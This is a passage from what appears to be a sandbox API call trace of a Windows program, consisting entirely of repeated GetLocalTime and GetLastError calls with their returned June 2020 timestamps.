wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x2dc)) [0047.069] GetLastError () returned 0x0 [0047.069] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x2dc)) [0047.069] GetLastError () returned 0x0 [0047.069] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x2dc)) [0047.069] GetLastError () returned 0x0 [0047.069] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x2dc)) [0047.069] GetLastError () returned 0x0 [0047.069] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x2dc)) [0047.069] GetLastError () returned 0x0 [0047.069] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x2dc)) [0047.069] GetLastError () returned 0x0 [0047.069] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x2dc)) [0047.069] GetLastError () returned 0x0 [0047.069] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x2dc)) [0047.069] GetLastError () returned 0x0 [0047.069] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x2dc)) [0047.069] GetLastError () returned 0x0 [0047.069] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x2dc)) [0047.069] GetLastError () returned 0x0 [0047.069] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x2dc)) [0047.069] GetLastError () returned 0x0 [0047.069] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x2dc)) [0047.069] GetLastError () returned 0x0 [0047.069] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x2dc)) [0047.069] GetLastError () returned 0x0 [0047.069] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x2dc)) [0047.069] GetLastError () returned 0x0 [0047.069] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x2dc)) [0047.069] GetLastError () returned 0x0 [0047.069] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x2dc)) [0047.069] GetLastError () returned 0x0 [0047.069] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x2dc)) [0047.069] GetLastError () returned 0x0 [0047.069] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x2dc)) [0047.069] GetLastError () returned 0x0 [0047.069] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x2dc)) [0047.070] GetLastError () returned 0x0 [0047.070] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x2dc)) [0047.070] GetLastError () returned 0x0 [0047.070] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x2dc)) [0047.070] GetLastError () returned 0x0 [0047.070] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x2dc)) [0047.070] GetLastError () returned 0x0 [0047.070] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x2dc)) [0047.070] GetLastError () returned 0x0 [0047.070] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x2dc)) [0047.070] GetLastError () returned 0x0 [0047.070] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x2dc)) [0047.070] GetLastError () returned 0x0 [0047.070] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x2dc)) [0047.070] GetLastError () returned 0x0 [0047.070] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x2dc)) [0047.070] GetLastError () returned 0x0 [0047.070] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x2dc)) [0047.070] GetLastError () returned 0x0 [0047.070] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x2dc)) [0047.112] GetLastError () returned 0x0 [0047.112] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x30b)) [0047.112] GetLastError () returned 0x0 [0047.112] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x30b)) [0047.112] GetLastError () returned 0x0 [0047.112] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x30b)) [0047.112] GetLastError () returned 0x0 [0047.112] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x30b)) [0047.112] GetLastError () returned 0x0 [0047.112] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x30b)) [0047.112] GetLastError () returned 0x0 [0047.112] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x30b)) [0047.112] GetLastError () returned 0x0 [0047.112] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x30b)) [0047.112] GetLastError () returned 0x0 [0047.112] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x30b)) [0047.112] GetLastError () returned 0x0 [0047.112] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x30b)) [0047.112] GetLastError () returned 0x0 [0047.112] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x30b)) [0047.112] GetLastError () returned 0x0 [0047.112] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x30b)) [0047.112] GetLastError () returned 0x0 [0047.112] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x30b)) [0047.112] GetLastError () returned 0x0 [0047.112] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x30b)) [0047.112] GetLastError () returned 0x0 [0047.112] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x30b)) [0047.112] GetLastError () returned 0x0 [0047.112] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x30b)) [0047.112] GetLastError () returned 0x0 [0047.112] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x30b)) [0047.113] GetLastError () returned 0x0 [0047.113] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x30b)) [0047.113] GetLastError () returned 0x0 [0047.113] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x30b)) [0047.113] GetLastError () returned 0x0 [0047.113] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x30b)) [0047.113] GetLastError () returned 0x0 [0047.113] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x30b)) [0047.113] GetLastError () returned 0x0 [0047.113] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x30b)) [0047.113] GetLastError () returned 0x0 [0047.113] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x30b)) [0047.113] GetLastError () returned 0x0 [0047.113] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x30b)) [0047.113] GetLastError () returned 0x0 [0047.113] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x30b)) [0047.113] GetLastError () returned 0x0 [0047.113] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x30b)) [0047.113] GetLastError () returned 0x0 [0047.113] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x30b)) [0047.113] GetLastError () returned 0x0 [0047.113] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x30b)) [0047.113] GetLastError () returned 0x0 [0047.113] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x30b)) [0047.113] GetLastError () returned 0x0 [0047.113] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x30b)) [0047.113] GetLastError () returned 0x0 [0047.113] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x30b)) [0047.113] GetLastError () returned 0x0 [0047.113] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x30b)) [0047.113] GetLastError () returned 0x0 [0047.113] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x30b)) [0047.113] GetLastError () returned 0x0 [0047.113] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x30b)) [0047.113] GetLastError () returned 0x0 [0047.113] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x30b)) [0047.113] GetLastError () returned 0x0 [0047.113] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x30b)) [0047.113] GetLastError () returned 0x0 [0047.113] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x30b)) [0047.113] GetLastError () returned 0x0 [0047.113] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x30b)) [0047.113] GetLastError () returned 0x0 [0047.114] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x30b)) [0047.114] GetLastError () returned 0x0 [0047.114] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x30b)) [0047.114] GetLastError () returned 0x0 [0047.114] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x30b)) [0047.114] GetLastError () returned 0x0 [0047.114] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x30b)) [0047.114] GetLastError () returned 0x0 [0047.114] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x30b)) [0047.114] GetLastError () returned 0x0 [0047.114] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x30b)) [0047.114] GetLastError () returned 0x0 [0047.114] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x30b)) [0047.114] GetLastError () returned 0x0 [0047.114] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x30b)) [0047.114] GetLastError () returned 0x0 [0047.114] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x30b)) [0047.114] GetLastError () returned 0x0 [0047.114] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x30b)) [0047.114] GetLastError () returned 0x0 [0047.114] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x30b)) [0047.114] GetLastError () returned 0x0 [0047.114] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x30b)) [0047.114] GetLastError () returned 0x0 [0047.114] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x30b)) [0047.114] GetLastError () returned 0x0 [0047.114] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x30b)) [0047.114] GetLastError () returned 0x0 [0047.114] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x30b)) [0047.114] GetLastError () returned 0x0 [0047.114] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x30b)) [0047.114] GetLastError () returned 0x0 [0047.114] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x30b)) [0047.114] GetLastError () returned 0x0 [0047.114] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x30b)) [0047.114] GetLastError () returned 0x0 [0047.114] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x30b)) [0047.114] GetLastError () returned 0x0 [0047.114] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x30b)) [0047.114] GetLastError () returned 0x0 [0047.114] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x30b)) [0047.114] GetLastError () returned 0x0 [0047.114] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x30b)) [0047.115] GetLastError () returned 0x0 [0047.115] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x30b)) [0047.115] GetLastError () returned 0x0 [0047.115] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x30b)) [0047.115] GetLastError () returned 0x0 [0047.115] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x30b)) [0047.115] GetLastError () returned 0x0 [0047.115] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x30b)) [0047.115] GetLastError () returned 0x0 [0047.115] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x30b)) [0047.115] GetLastError () returned 0x0 [0047.115] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x30b)) [0047.115] GetLastError () returned 0x0 [0047.115] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x30b)) [0047.115] GetLastError () returned 0x0 [0047.115] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x30b)) [0047.115] GetLastError () returned 0x0 [0047.115] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x30b)) [0047.115] GetLastError () returned 0x0 [0047.115] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x30b)) [0047.115] GetLastError () returned 0x0 [0047.115] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x30b)) [0047.115] GetLastError () returned 0x0 [0047.115] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x30b)) [0047.115] GetLastError () returned 0x0 [0047.115] GetLocalTime (in: lpSystemTime=0x18ff28 | out: 